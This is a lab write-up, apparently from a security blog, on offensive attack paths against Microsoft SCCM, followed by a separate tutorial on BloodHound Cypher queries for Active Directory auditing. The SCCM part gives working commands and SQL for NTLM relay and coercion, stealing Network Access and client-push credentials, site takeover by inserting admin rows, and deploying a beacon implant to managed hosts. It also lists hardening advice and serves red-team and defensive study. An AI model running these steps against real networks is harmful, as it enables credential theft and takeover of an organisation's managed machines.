Offensive SCCM Summary

This article aims to summarise the currently available tooling (August 2023), as well as the attack vectors which are present. My previous article covers the basics of SCCM and how to configure an SCCM lab from scratch.

In summary, I believe the SCCM attack surface is currently not especially well understood or covered by most red teams, outside of the tooling produced by a number of fantastic researchers (below). More organisations need to better understand this area, as I have noticed a number of parallels between SCCM now and ADCS in 2021. Undoubtedly SCCM will remain an area of interest for researchers, red teamers and attackers for some time to come!

This post is based almost entirely on work done by Chris Thompson (@_Mayyhem) and Garrett Foster (@garrfoster), I am simply joining the dots between several of their projects and tools – as well as work from several other researchers!

Tooling & Who To Follow

There is a lot of publicly released tooling to interact with SCCM:

In addition to these tools, there are a few great Twitter profiles to follow to remain up to date with the latest SCCM developments.

Lab Setup

For this, we will borrow the SCCM SnapLabs template from an0n_r0. On top of this, I will configure:

  • 2 Hosts
    • Win10 host (An ‘infected’ host), which will host our attacker tooling:
      • PXEThief
      • PowerSCCM
      • SharpSCCM
      • SCCMWTF
      • sccmhunter
    • Kali (In reality, this would be behind our C2 infra, but I want the lab to be nice and simple!). I will install:
      • Imapcket
      • Responder
  • 2 Users
    • SCCMLAB\da
      • Domain Administrator account, mostly to make my life easier when debugging
    • SCCMLAB\joe.bloggs
      • Our friendly infected user
      • Local admin rights on the Win10 device
  • A Task Sequence
    • Create a boot image, then a task sequence and set some dummy variables within it
  • Discovery Methods
    • Enabled AD Group Discovery on the Domain Computers group

The devices in the lab are as follows:

DeviceIP AddressName
Domain Controller10.10.0.100dc.sccmlab.local
SCCM Site Server10.10.0.101sccm.sccmlab.local
SCCM SQL Database10.10.0.102sccmsql.sccmlab.local
Server 110.10.0.151server1.sccmlab.local
Server 210.10.0.152server2.sccmlab.local
Kali (Attacker)10.10.0.161kali
Windows 10 Client10.10.0.241win10.sccmlab.local

We will use the joe.bloggs user extensively, who has a password set to a.

General Recommendations

There a LOT of recommendations for how to secure SCCM. Below is a list of recommendations which are collated from Gabriel Prud’homme‘s talk and SharpSCCM’s wiki.

  • Active Directory
    • General
      • Ensure that any accounts used by SCCM for deployment strictly follow least-privilege principles. This includes NAA, Client Push, Task Sequences and Collection Variables.
      • Check that Tier 0 assets are not being managed by SCCM
      • Ensure that any SCCM administrator accounts are being treated at the same level as the assets which they manage. I.e. An SCCM site managing all client devices should be be treated as a Tier 0 account.
      • Check for password re-use or weak passwords used by any of the accounts used by NAA, Client Push, Task Sequences and Collection Variables
      • Set ms-DS-MachineAccountQuota to 0
    • Network Access Accounts (NAA)
      • Dont use NAA’s if possible, use Enhanced HTTP instead – as recommended by Microsoft
      • Rotate passwords on NAA accounts if they are no longer used, as the credentials can still be cached.
      • If NAA has to be used, ensure the account has no special permission. It only needs to allow for domain connectivity
    • Client Push Accounts
      • Don’t use Client Push if possible, use ‘Software update-based installation’ instead
      • If Client Push has to be used:
        • Specify a Client Push account, to prevent the site computer account from performing Client Push installations.
        • Disable automatic site-wide Client Push installation.
  • PXE Hardening
  • Patching
    • Install the 2 KB’s KB15498768 and KB15599094
      • These prevent a number of the attacks (Such as Site Takeover via Client Push)
    • Enable SMB signing domain-wide (Prevent NTLM relay to SMB)
    • Require LDAP signing or channel binding on domain controllers (Prevent NTLM relay to LDAP)
    • Require Extended Protection on AD CS servers (Prevent relay to HTTP)
  • MSSQL Hardening
  • Site Servers
    • Ensure all unnecessary connections to site servers are blocked by firewalls to reduce likelihood of relaying attacks

SCCM Attack Paths

Before we delve into all of the attack paths, here is a summary of the potential attack paths we can exploit:

Chris Thompson & Diego Lomellini go into more depth on the various site takeover attacks in their SharpSCCM 2.0 talk, which includes the following slide at 4:55:

Throughout this I will use the Kali machine to refer to an attacker controlled machine, typically being used to listen for incoming NTLM authentication responses.

Network Access

To start with, we will assume that we just have network access and haven’t yet managed to compromise a user. Thankfully SCCM supports unattended deployments through technologies such as PXE. Unfortunately I was unable to get this working in my lab, so have been unable to replicate these attacks:

Recon – Find SCCM Infrastructure

As covered by Gabriel in his talk at BHIS, we can scan for specific open ports which might indicate that SCCM is running on the system.

SCCM ItemPortLink
Site Servers/Management Points8530,8531,10123 (All TCP)Link
Distribution Point49152-49159 (TCP)Link
PXE OSD4011 (UDP)Link

For example:

nmap -sT -p 8530,8531,10123 --open 10.10.0.0/24

Credential Access – Obtain PXE Media File

If PXE is used for for OS deployment, then we can use PXEThief to enumerate through the resources used. If the PXE process doesn’t require a password, then we can use pxethief.py 1 to automatically obtain the relevant images, and parse them for credentials. If it does use a password then we can use option 3 or 5 to try and decrypt the file, or crack the password to the file using Hashcat.

Credential Access – Obtain NAA Creds

Assuming we have access to the network, the network uses PXE for OS deployment and we know the password to start PXE deployment, then we can attempt to join a new machine to the network.

From Christopher Panayi’s talk at DefCon 30, we can press F8 repeatedly to get a SYSTEM shell, where we can then run a VBS script to dump out the environment variables, which can include the _SMSTSReserved1 and _SMSTSReserved2 variables, which are the creds for the NAA account.

Credential Access – Read unattend.xml

Again, assuming we have access to the network, and the network uses PXE deployment, we can attempt to join a new machine to the network.

From Christopher Panayi’s talk, if we wait until the OS installation has begun, we can look in the C:\Windows\panther\unattend\unattend.xml file to see if it contains credentials for domain-joining the new OS.

Standard User

If we assume we have just landed in an environment, there are a number of potential avenues of attack for us. As you can see below, we can now potentially perform some site takeover attacks – which could allow us to gain full permission over an SCCM site.

Recon – Identify Site Information

Using MalSCCM.exe locate, we can identify the site code and the server which is the management point for our current device. We can do the same with PowerSccm using the Find-LocalSccmInfo cmdlet, or directly query the local WMI interface via PowerShell with Get-WmiObject -Class SMS_Authority -Namespace root\CCM

MalSCCM.exe locate

Or we can do this by searching for ‘Configuration Manager’ in the control panel.

We can use SCCMHunter with the find command to query LDAP for details on any AD objects.

python sccmhunter.py find -d sccmlab.local -dc-ip 10.10.0.100 -u joe.bloggs -p a

Finally, we can hunt in information repositories for some terms which are linked to SCCM:

  • ccm_system
  • ccm_system_windowsauth
  • sccm
  • mecm
  • AdminService/v1.0

Enumeration – Logs

We can also look through the SCCM logs within C:\Windows\CCM using SharpSCCM with the following command

SharpSCCM.exe local triage

Enumeration – Previously Executed Scripts

From a Primary Site, we can run PowerShell scripts on remote devices. These scripts are stored on the client within the %windir%\CCM\ScriptStore folder, but require admin access to read them.

Luckily for us, these scripts can be PowerShell scripts, which will be logged within the PowerShell logs of any client which it is run on. If PowerShell logging is enabled. We can retrieve the contents of the script by searching through the event logs, using the command below we can look for a password:

Get-WinEvent -ProviderName Microsoft-Windows-PowerShell | Where-Object { $_.Message -like "*password = *" } | Format-List -Property Message

Recon – Enumerate SiteStore Scripts

Scripts run by the ‘Run Script’ command will be logged if certain (common) criteria are met. These scripts are stored on the remote devices within C:\Windows\CCM\ScriptStore. If we have admin access to the device, then we dont need to rely on PowerShell logging to be enabled, as we can read them from the device itself.

The scripts are protected so that only the SYSTEM user is able to read them. We can spawn a SYSTEM shell using PSExec -s -i cmd.exe and read the contents of the file.

Enumeration – SCCMContentLib

Thanks to 1njected’s CMLoot repo, we can investigate files stored within the hidden SCCMContentLib$ share on Distribution Points. As mentioned in their blog post for WithSecure, the file structure for this share is frustrating to parse through, and it can be quite difficult to correctly secure files in this share.

. \CMLoot.ps1
Invoke-CMLootInventory -SCCMHost sccm.sccmlab.local -OutFile "C:\Excluded\cmloot_out.txt"

Enumeration – PXEBoot Shares

Using SCCMHunter with the smb option, we can take the results of its find command, and probe each result for SMB shares titled REMINST, which indicate the usage of PXEBoot. PXEBoot can then be exploited with PXEThief to obtain boot images for any devices which are connected to the network – these images can contain domain credentials.

python sccmhunter.py smb -d sccmlab.local -dc-ip 10.10.0.100 -u joe.bloggs -p a

We can then navigate to \\sccm.sccmlab.local in the File Explorer. Notice the REMINST folder in the top right below.

The REMINST/SMSTemp folder can contain *.var files, which can be decrypted to reveal sensitive values. To decrypt any identified files, we can use PXEThief in mode 3, else we can use mode 5 to get the hash of the file. We can decrypt this using Christopher Panyai’s custom hashcat module using mode 19850. After cracking we can then run PXEThief again using mode 3, to decrypt the file. Gabriel’s talk at BHIS includes a demo on how to perform this.

Credential Access – NAA

ms-DS-MachineAccountQuota > 0

The easiest way of obtaining NAA credentials relies on the domain having a ms-DS-MachineAccountQuota value greater than 0, or some way of obtaining machine account passwords. To perform this attack, we will use sccmhunter with the http module, which will create a computer object via the MachineAccountQuota misconfiguration, when using the -auto option. It will then attempt to obtain NAA creds, writing them to the loot folder if successful.

python sccmhunter.py http -d sccmlab.local -dc-ip 10.10.0.100 -u joe.bloggs -p a -auto

We can read out the loot/sccm_naapolicy.xml file, which is just XML data, which then contains a blob of encoded data to secure the NAA, within the NetworkAccessUsername and NetworkAccessPassword fields.

We then need to decrypt these credentials, which we can do with the policysecretunobfuscate.c file from XPN’s sccmwtf project.

Under the hood, sccmhunter http is using the sccmwtf project (to spoof machine enrolment) along with addcomputer.py (To get computer account credentials). XPN’s blog post on the subject is well worth a read though, as it delves into the crypto behind this process.

ms-DS-MachineAccountQuota = 0

(Updated 5/12/23) Ralph Desmangles added functionality to sccmhunter, which will pull the NAA credentials from DPAPI, avoiding the need to perform NTLM relaying. We need to provide domain credentials and the server we want to target. In this case, we have local admin rights on our device so we will set the target to 10.0.1.6, which is the IP address for our win10 machine.

sccmhunter.py dpapi -u joe.bloggs -p a -target 10.0.1.6

This is mentioned in the SpecterOps post about NAA’s, which refers to the location within WMI. We can confirm this without using sccmhunter and instead using a admin PowerShell session with the following command:

Get-WmiObject -namespace “root\ccm\policy\Machine\ActualConfig” -class “CCM_NetworkAccessAccount”

If we want to avoid using DPAPI for some reason, then thanks to Gabriel Prudhomme’s (@vendetce) talk, we can perform this via coercing authentication (e.g. via PetitPotam).

We can use a modified version of Impacket by Tw1sm to relay NTLM auth and obtain NAA credentials. When copying this, make sure to grab the feature/sccm-relay branch – the master branch doesn’t include the updated version of ntlmrelayx. Also make sure you are using virtual environments in Python here, as this version of Impacket is quite far behind the latest release, so it is liable to not work as expected!

git clone -b feature/sccm-relay https://github.com/Tw1sm/impacket.git impacket-tw1sm

Lets stand up ntlmrelayx.

python3 ntlmrelayx.py -t http://sccm.sccmlab.local/ccm_system_windowsauth/request --sccm --sccm-device test12345 --sccm-fqdn sccm.sccmlab.local --sccm-sleep 10 -smb2support

Where --sccm-device is a random value which will represent the device name we will create (So should be random) and --sccm-sleep is a time given to allow things to process. The IP chosen for PetitPotam doesn’t matter, it just needs to be a machine in the domain. This will create fake devices in SCCM, so will require cleaning up after exploitation!

We can now coerce authentication, where 10.10.0.161 is the IP address hosting ntlmrelayx and server1.sccmlab.local is the target to coerce authentication from.

python3 petitpotam.py 10.10.0.161 server1.sccmlab.local -u joe.bloggs -p a -d sccmlab.local

And ntlmrelayx responds by obtaining NAA credentials!

This is the same file as described earlier, so we wont cover decryption here! More details on this attack are in XPN’s blog post on the subject.

I suspect this could also be abused by leveraging pre2k computer accounts, removing the need to perform relaying.

Credential Access – Client Push Account

We can trigger a client push and capture the hashes with Responder.

Note that we get both the machine account and the Client Push account. Password cracking can be attempted using mode 5600 in hashcat.

Another option covered by Christian’s talk at BHIS involves us ‘removing’ our device from SCCM, which will cause it to automatically try to re-enrol it back into SCCM. This does require us to escalate to SYSTEM permissions, and is quite noisy given we are renaming machines, disabling firewalls and so on. It also requires automatic client push and Allow connection fallback to NTLM to be enabled.

As detailed in his talk, this means that one of two accounts will then authenticate onto our machine:

  1. The SCCM Client Push account
  2. The machine account for the SCCM Site Server

From here, we can then obtain a NTLMv2 hash for one of those accounts. Given the complexity of this, we are likely better using the invoke client-push attack from SharpSCCM if we meet the criteria, as it only requires a low-priv user account.

Lateral Movement – Client Push Account

The premise of this attack is that we can abuse the Client Push account by coercing it to authenticate with our machine. We can then relay this authentication onto other devices to move laterally. The crux of this is that the Client Push account needs to have local admin on all clients to work – so we just need meet the criteria above (SMB signing disabled & not patched). This is from Gabriel’s talk at BHIS, which refers to a talk by Brandon Colley at BSides KC.

This does have a few pre-reqs.

  1. Requires SMB Signing to be disabled on our target – we can find this out with sccmhunter.py sccm.
  2. KB15599094 and KB15498768 to not be installed. If they are installed, then we might be able to do the SCCM Server Machine Account method below

Below is a diagram summarising the attack, ultimately step 4 can be whatever ‘action’ we want to take that leverages NTLM relaying. For example, this could be relaying to ADCS via ESC8.

We will start ntlmrelayx, targeting a server I know already exists (10.10.0.151). I will use the -socks flag so that we can leverage this captured NTLM authentication with a tool of our choice (by using proxychains).

python3 ntlmrelayx.py -t 10.10.0.151 -smb2support -socks

And then we can invoke the Client Push account to authenticate to our domain-joined machine with SharpSCCM , using its invoke client-push command. 10.10.0.161 is the IP address for our ntlmrelayx server.

SharpSCCM.exe invoke client-push -t 10.10.0.161 -mp sccm.sccmlab.local -sc S01

After a little wait, ntlmrelayx captures the incoming authentication.

We can run the socks command in ntlmrelayx to show the status of the captured sessions.

In this case, I will use smbexec.py to obtain a shell as a demo. Make sure your account (SCCMLAB/SCCMCLIENTPUSH) matches up with the account you captured in ntlmrelayx. Also check proxychains is set to 127.0.0.1:1080, as that is what impacket uses by default.

proxychains python3 smbexec.py SCCMLAB/SCCMCLIENTPUSH@10.10.0.151 -no-pass

Lateral Movement – Site Takeover

Via SQL

As described by Chris Thompson of SpecterOps, the computer account for the Primary Site server is required to be a local admin on the SQL server and Management Point computers. Chris describes this in far better detail than I will be able to, but in effect this means that we can coerce NTLM authentication from the Primary Site’s computer account and relay it onto the SQL Server which supports the SCCM site. From this point, you could then grant yourself the Full Administrator SCCM role using SQL commands – giving yourself full access to any system managed by the Site. Gabriel covers this at 1:22:54.

This does require Extended Protection to be disabled in MSSQL. If this is enabled, then we can always relay via SMB onto a Management Point or MSSQL servers, if SMB Signing is disabled. This process is semi-automated with sccmhunter using the mssql module.

In order to be able to execute SQL queries against the site’s SQL server, we will coerce authentication from the site server’s machine account and relay it to the mssql service on the SQL server. This attack works due to a requirement for the site server’s machine account to have local admin rights over the SQL server during the setup of SCCM. See the first image in Chris’s blog as proof.

In the diagram below, the ‘site takeover’ section is only steps 1-4, steps 5-9 detail the exploitation steps if a package is deployed via SharpSCCM (as shown later on).

To start, lets check if we have permission to run a command on server1.sccmlab.local. As expected, we don’t have permission.

Lets stand up ntlmrelayx to capture incoming NTLM authentication requests. We will use SOCKS mode to keep the connection open, which will allow us to use proxychains to run SQL queries against the DB (10.10.0.102).

python ntlmrelayx.py -smb2support -ip 10.10.0.161 -t mssql://10.10.0.102 -socks

When this is stood up, we can trigger a Client Push from our infected user account. Don’t forget to set the target (-t) to the IP address of our machine running ntlmrelayx!

SharpSCCM.exe invoke client-push -mp sccm.sccmlab.local -sc S01 -t 10.10.0.161

ntlmrelayx catches the incoming authentication, notice that SCCM$ manages to authenticate against the mssql service on the penultimate line.

Whilst keeping ntlmrelayx open, lets open another terminal and proxy our SQL queries through to the SQL server. Note that the account name is wrapped in quotes due to it containing a $ sign. We are also using -windows-auth. When we connect we can enter whatever we want for the password.

proxychains python3 mssqlclient.py "SCCMLAB/SCCM$"@10.10.0.102 -windows-auth

We will now run sccmhunter.py mssql to determine the SQL command to run. In this, we will set joe.bloggs to have SCCM admin rights on site S01 with the arguments -tu joe.bloggs -sc S01

python sccmhunter.py mssql -d sccmlab.local -dc-ip 10.10.0.100 -u joe.bloggs -p a -tu joe.bloggs -sc S01

Resulting in a few SQL statements being generated:

use CM_S01

INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (0x0105000000000005150000003B0AC320F4F69FBD8B3F26E644060000,'SCCMLAB\joe.bloggs',0,0,'','','','','S01');

SELECT AdminID,LogonName FROM RBAC_Admins;

Lets run the first set of commands, which will add joe.bloggs into the RBAC_Admins group. We can then prove we have set joe.bloggs to AdminID = 16777218 by running a SELECT query on the RBAC_Admins table

Lets add this into our sccmhunter command to get the final queries, to grant permissions onto the joe.bloggs account.

INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (16777218,'SMS0001R','SMS00ALL','29');

INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (16777218,'SMS0001R','SMS00001','1');

INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (16777218,'SMS0001R','SMS00004','1');

And we can confirm we have added our permissions in:

We can also confirm this by going to Administration -> Security -> Administrative Users within MCM.

Lets run our command again to execute calc.exe on server1.sccmlab.local, this time we have success!

Via AdminService API

Hot off the press!! Garrett Foster recently released a blog post detailing how we can leverage the AdminService API interface to also take over an SCCM site. AdminService API is used to perform SCCM administrative tasks, and is used by the admin and pivot modules in sccmhunter – which Garrett wrote.

Using their PR to impacket, we will run ntlmrelayx. We can obtain our user’s SID using SharpSCCM.exe local user-sid.

ntlmrelayx.py -t https://sccm.sccmlab.local/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "SCCMLAB\joe.bloggs" --displayname "SCCMLAB\joe.bloggs" --objectsid  S-1-5-21-549653051-3181377268-3861266315-1604

We will again coerce authentication via Client Push, but we could use PetitPotam or another technique of your choosing.

SharpSCCM.exe invoke client-push -mp sccm.sccmlab.local -sc S01 -t 10.10.0.161

Unfortunately, this attack wouldn’t work for me as my SMS Provider is on the same server as the site server itself, they need to be separate for this attack to work, as shown by my Site’s information below:

This can also be done via pass-the-hash, for example if we can perform ADCS abuse against a user with privilege over the WMI interface. This will be merged into sccmhunter at some point in the future, but can currently be performed with smsadmin

Lateral Movement – NTLM Relay To Other SCCM Clients

If the Client Push account has not been defined in an SCCM environment, the machine account of the SCCM server will be used to push the SCCM client onto endpoints. Therefore, the SCCM site computer account will have local admin rights across the estate. This means that if:

  • We can coerce authentication from the push account (i.e. PetitPotam)
  • SMB Signing is disabled (i.e. we can relay)

Then we can relay this authentication onto any SCCM client and gain admin access to it. This should be possible even after the two patches (KB15599094 and KB15498768) are installed. Gabriel has a great demo of this in his talk at 1:19:07. Below we use an example of SMBExec, but this could be any tool which can be used with a relayed NTLM authentication & proxychains.

If we now trigger a client push with SharpSCCM, we only get an authentication request from the SCCM$ account, not the sccmclientpush account.

SharpSCCM.exe invoke client-push -mp sccm.sccmlab.local -sc S01 -t 10.10.0.161

Due to us having configured a Client Push account before, this attack wont work, due to the SCCM$ account not having local admin rights onto the SCCM managed devices. In another network which has never used a dedicated Client Push account, we would expect to see the computer account as a local admin below.

SQL DB Admin To Primary Site DB

Obtain SCCM User Creds

If we have admin access to the SQL DB which supports the Primary Site, we can read out the encrypted credentials to SCCM users, by reading the SC_UserAccount table. Thanks (Again) to XPN, we can use his PoC ‘sccmdecryptpoc.cs to decrypt the contents of the files, with his Twitter thread covering the process in more detail.

This requires admin access to the server containing the “Microsoft Systems Management Server” CSP for it to work. In practise I believe this means we need to perform the decryption on an SCCM site server – though this doesn’t stop us from obtaining the encrypted value!

Again, we will assume we can coerce authentication and relay it onto the SQL server, though this attack can equally be performed if we have access to the SQL database itself. Lets do our standard setup for ntlmrelayx.

python ntlmrelayx.py -smb2support -ip 10.10.0.161 -t mssql://10.10.0.102 -socks

And then coerce authentication using Client Push

SharpSCCM.exe invoke client-push -mp sccm.sccmlab.local -sc S01 -t 10.10.0.161

We can then run SQL commands on the SQL server using proxychains, like we did for the Site Takeover attacks.

proxychains python3 mssqlclient.py "SCCMLAB/SCCM$"@10.10.0.102 -windows-auth
USE CM_S01
SELECT UserName,Password FROM SC_UserAccount

We can then use XPNs SCCMDecryptPoc tool to decrypt this.

Alternatively, we can use Mimikatz to do this so long as we have a valid connectionstring to the DB. This can be done using the misc::sccm /connectionstring:XYZ command. This will come with the associated fun involved with using Mimikatz.

Dumping Task Sequences

We can dump Task Sequences to look for creds and other interesting stuff. Several tables (vSMS_TaskSequencePackage, vSMS_TaskSequencePackageEx and TS_TaskSequence) contain the Sequence column which contains the XML for the Task Sequence. We can find the details on the accounts with the following SQL query:

SELECT TS_ID, Name, Sequence FROM vSMS_TaskSequencePackage

Unfortunately, SCCM doesnt just give us the plaintext XML, with the rows showing the characteristic 0x38393133303030 value. We can decrypt this using DeObfuscateSecretString by Mayyhem, after we convert this from hexidecimal.

Whilst we are likely to have a faster route to domain compromise via a ‘Full Administrator’ SCCM user, Task Sequences might contain other credentials of interest, which arent AD-based. For example, credentials to cloud accounts.

Coerce NTLM Authentication

Thanks to a tweet by Mayyhem, we can use the sp_CP_GenerateCCRByName stored procedure to coerce the site client installation account to authenticate to the ADMIN$ share on a machine of our choosing. We can also specify an IP address rather than relying on SCCM-managed hosts.

USE CM_S01
GO

DECLARE @return_value int 

EXEC    @return_value = [dbo].[sp_CP_GenerateCCRByName] 
        @MachineNameList = N'10.10.0.161', 
        @SiteCode = N'S01', 
        @bForced = false, 
        @bForceReinstall = false

SELECT 'Return Value' = @return_value

GO

Primary Site Admin

With ‘Full Administrator’ access to a Primary Site, we can perform a number of powerful attacks against clients managed by the site. This is by design, as a primary site is a Tier 0 asset.

The most basic attack would be to create a group of users we want to target, then deploy an implant to all of their machines using the SCCM GUI. That is quite lame, so we will instead use commands we can execute from within a command line.

At this point, we will assume we have performed a site takeover attack (via AdminService API or SQL).

Recon – Perform Recon Queries

Using sccmhunter we can run recon commands using the AdminService API to gather data and avoid more noisy methods. For example, the admin and pivot methods allow for collection of various forms of recon data.

I encountered a unsupported hash type md4 error whilst running sccmhunter. As always the solution is found on StackOverflow – we need to update the requests-ntlm library with the following command:

python3 -m pip install -U requests-ntlm

To start with, lets run the admin module, with the following command:

python sccmhunter.py admin -ip 10.10.0.101 -u "SCCMLAB\joe.bloggs" -p "a" -debug

After collection, we are dropped into a CLI where we can run further queries on the data. We can use the help command to find out the available features.

For example, we can find details on all the applications:

Or all of the collections:

To take this to the next step, we can use the pivot module to run further commands. For now its a PoC within sccmhunter, but no doubt we will see this further developed in the future.

We can use the help command within the interface to see the commands available to us:

For example, targeting server2.sccmlab.local, which has a device ID of 16777220:

Lateral Movement – Deploy an application

There are several ways of doing this, for this example we will use MalSCCM. To perform this attack we will create a group of computer objects and then deploy a payload to them. We can create user groups, but due to MalSCCM having to guess the most likely computer object based on the user, it is safer to set the computers manually. Whilst using the tool from an ‘infected’ client device, I found I had to specify the SCCM server with each command to avoid any errors.

To create our group, we will run:

MalSCCM.exe group /create /groupname:1337TargetGroup /grouptype:device /server:sccm.sccmlab.local

We will then set our target device, I had to use all caps rather than using a FQDN for this to work. It is likely that this needs to match the name as shown in the MCM portal, which appears to be the hostname in uppercase.

MalSCCM.exe group /addhost /groupname:1337TargetGroup /host:SERVER1 /server:sccm.sccmlab.local

As mentioned by Nettitude in their post on MalSCCM, in order to deploy an application, we need to host the application on a share which the computer account is able to access. For this example we will pretend that we have found an open share.

Lets now create our malicious application, with the following command:

MalSCCM.exe app /create /name:OhDearOhDear /uncpath:"\\SCCM\Open Share\beacon.exe" /server:sccm.sccmlab.local

Now lets deploy this application to the group we created earlier.

MalSCCM.exe app /deploy /name:OhDearOhDear /groupname:1337TargetGroup /assignmentname:ItsRainingShellz /server:sccm.sccmlab.local

And finally, we can optionally coerce the targets in the group to check in, speeding up the deployment time.

MalSCCM.exe checkin /groupname:1337TargetGroup /server:sccm.sccmlab.local

After hours of banging my head against a wall I couldnt get this to work, but here is what I should have seen:

We can do this all in one using SharpSCCM exec, using the -i or -n parameters, we can deploy our payload/executable to a collection of users.

Lateral Movement – Arbitrary NTLM Coercion

For this attack, we add all of our targets into a group, then create an application which has its UNC path set to one we can control. This application is then deployed and the targets will attempt to authenticate to our share. From this point we can relay the authentication onto a service of our choice. For this example, I will just capture the authentication using ntlmrelayx to prove that it is a viable attack vector.

The command given in Chris’s original writeup has since changed, with the -mp and -sc arguments now required. Note that the targeted device (-d) has to match the hostname. In our case, we had to use SERVER1 rather than server1.sccmlab.local.

SharpSCCM.exe exec -mp sccm.sccmlab.local -sc S01 -d SERVER1 -r 10.10.0.161

As usual, we will setup ntlmrelayx to listen in for inbound SMB connections:

python ntlmrelayx.py -smb2support -ip 10.10.0.161 -socks

And we get inbound authentication requests after SharpSCCM deploys an application. We could relay this onward to a number of services.

Conclusion

And there we go, a whole range of ways of compromising SCCM! Undoubtedly there will be more attack paths and research being released over the coming months, so it is well worth conducting a review of attack paths into and within your own SCCM estate. Using BloodHound is a great way of doing this.

BloodHound & Cypher Language

In my previous post, I covered the basics of BloodHound. In this post I will dive into the Cypher query language but we will focus on using it from an assessment/auditing angle – rather than as an attacker. Being able to quantify and detail the issues which exist in a large AD estate is an extremely powerful way of reducing the internal attack surface, forcing attackers (or red teamers!) to become more noisy.

Additionally BloodHound can help to focus remediation efforts, instead of blindly trying to remediate hundreds of users with weak passwords, BloodHound can show the level of access that each account has. This data can be analysed to allow prioritised remediation to be performed on the most powerful accounts first, helping to better secure your environment much faster!

What is Neo4j?

As a brief explainer, BloodHound is a nice GUI which sits on top of a neo4j graphing engine. Neo4j uses the ‘Cypher‘ query language, which we can then use to directly query the raw AD data which neo4j is storing. This allows us to produce more complex queries than are possible within the BloodHound GUI. In particular it allows us to generate tables and calculate certain values (i.e. How many users have admin access to another system? How many of them are kerberoastable?)

The query structure is slightly unusual, but it does have a fair amount of similarity to SQL. The main function we will use is the MATCH operator, which allows us to query the dataset in a similar way to SELECT would in SQL. To access the Neo4j console, we will navigate to localhost:7474 on our machine which is running Neo4j.

A Basic Query

We can run a basic query to pull back a single user with the following query:

MATCH (u:User) WHERE u.name = "BDELUNG00508@HTTP418INFOSEC.COM" RETURN u

Whilst this is quite simple, it does show that the syntax is very similar to SQL. If we look in the graph, Neo4j will return all the nodes which match this query. In this case it is just one account.

The u variable above will allow us to refer to all of the users impacted by the query above. For example, we can find all the users whose name begins with ‘BD’ using the query below. This will set u to represent all 5 users:

MATCH (u:User) WHERE u.name STARTS WITH "BD" RETURN u

In order to return a single attribute from these users, we can change the value which we are returning. If we read the BloodHound documentation, there are a number of potential properties to return. We can also select the Table view to see all of the properties stored in the object:

We could then alter our query to just return the displayname field with the following query:

MATCH (u:User) WHERE u.name STARTS WITH "BD" RETURN u.displayname

And we don’t have to just use Users, if we partially complete a query then Neo4j will suggest other types of we can use.

For example, we can return groups which begin with ‘IT’ by altering the query from MATCH (u:User) to MATCH (u:Group).

MATCH (u:Group) WHERE u.name STARTS WITH "IT" RETURN u.name

Analysing Relationships

This is all well and good, but the power of Neo4j comes from being able to identify relationships between nodes. To do this, lets find all the groups which BDELUNG00508 is within. To do this, we will need to search for Users which are a member of a group. This is done by using the following syntax:

MATCH (u:User)-[:MemberOf]->(g:Group)

This uses the ‘MemberOf’ edge in BloodHound to reveal users who are a member of a group. We will then need to filter this dataset down to only include the Brendan Delung user from our previous post, which we can do with the following command:

WHERE u.name = "BDELUNG00508@HTTP418INFOSEC.COM"

And finally, return the group names with

RETURN g.name.

Giving us a final command of:

MATCH (u:User)-[:MemberOf]->(g:Group)
WHERE u.name = "BDELUNG00508@HTTP418INFOSEC.COM"
RETURN g.name

This is the equivalent command to the one we used in our original post, which can be represented by the following graph:

We can do some further queries to manipulate the data, for instance, what if we only want to return the nested groups?  To do this, we can use the *2.. Operator on the relationship section of the query to ensure that there are 2 consecutive MemberOf relationships. This will return the two groups on the right of the above image.

MATCH (u:User)-[:MemberOf*2..]->(g:Group)
WHERE u.name = "BDELUNG00508@HTTP418INFOSEC.COM"
RETURN g.name

Or if we want to ignore any of the groups beginning with “Operations“, then we can use the NOT operator:

MATCH (u:User)-[:MemberOf]->(g:Group)
WHERE u.name = "BDELUNG00508@HTTP418INFOSEC.COM" AND NOT(g.name STARTS WITH "OPERATIONS")
RETURN g.name

Pathfinding

If we want to represent any of these as a ‘path’ rather than a table, we can use the p= operator. For example, if we want to view the previous query as a path we would add p= to the beginning of the query and return the p variable.

MATCH p=(u:User)-[:MemberOf]->(g:Group)
WHERE u.name = "BDELUNG00508@HTTP418INFOSEC.COM" AND NOT(g.name STARTS WITH "OPERATIONS")
RETURN p

We can run this query in BloodHound using the ‘Raw Query‘ tab at the bottom of the screen. This allows us to interact with the results using the BloodHound GUI, rather than Neo4j. Below we can see the query above but within the GUI.

Finally, using one of the previous queries we can use the COUNT operator to count the amount of results returned. We will use this extensively later on. In this case, we will count the number of groups which BDELUNG00508 is explicitly added to, ignoring any nested groups.

MATCH (u:User)-[:MemberOf]->(g:Group)
WHERE u.name = "BDELUNG00508@HTTP418INFOSEC.COM"
RETURN COUNT(g) AS GroupCount

Assessing AD

Enough of the theory, lets start to combine some of these features together! In this section I will cover a range of queries which I have had success with previously. Most of these queries can be repurposed to cover whatever group of assets you are interested in. Common examples of groups might be:

  • AD Administrators/privileged accounts
  • Tier 0 or Tier 1 assets
  • Privileged Software users
    • ADCS
    • ADFS
    • SCCM
    • AV/EDR
    • Backup systems
    • Exchange Admins
  • Interesting user groups
    • Developers
    • SOC
    • Cloud Admins

Find All Nested Users For A Specific Group

This is handy to find all of the users for a specific AD group. By analysing multiple nested groups, we can find users who have access to our chosen group, but we might not have been aware of. This is very similar to the query used above, except we are finding the users in a group, instead of the groups a user is in. Also we are using the DISTINCT function for the output, to prevent duplicate results.

In this query, several other parameters are also returned which can be handy for further analysis. For example pwdlastset can help us find accounts which have old passwords, or the description field can shed light as to why this user has access to this group. In this example I am using the Domain Admins group, but it works well against systems such as Exchange with groups such as Exchange Recipient Administrators.

The 1..5 operator should be modified depending on the complexity of the environment. I would recommending starting at 1..2 or 1..3 (i.e. A maximum of 2 or 3 nested groups), as this will get exponentially more complex, and can cause BloodHound to crash if you arent careful!

MATCH (u:User)-[:MemberOf*1..5]->(g:Group)
WHERE g.name = "DOMAIN ADMINS@HTTP418INFOSEC.COM" AND u.enabled = true
RETURN DISTINCT(u.name) AS UserName, u.pwdlastset, u.lastlogon, u.description
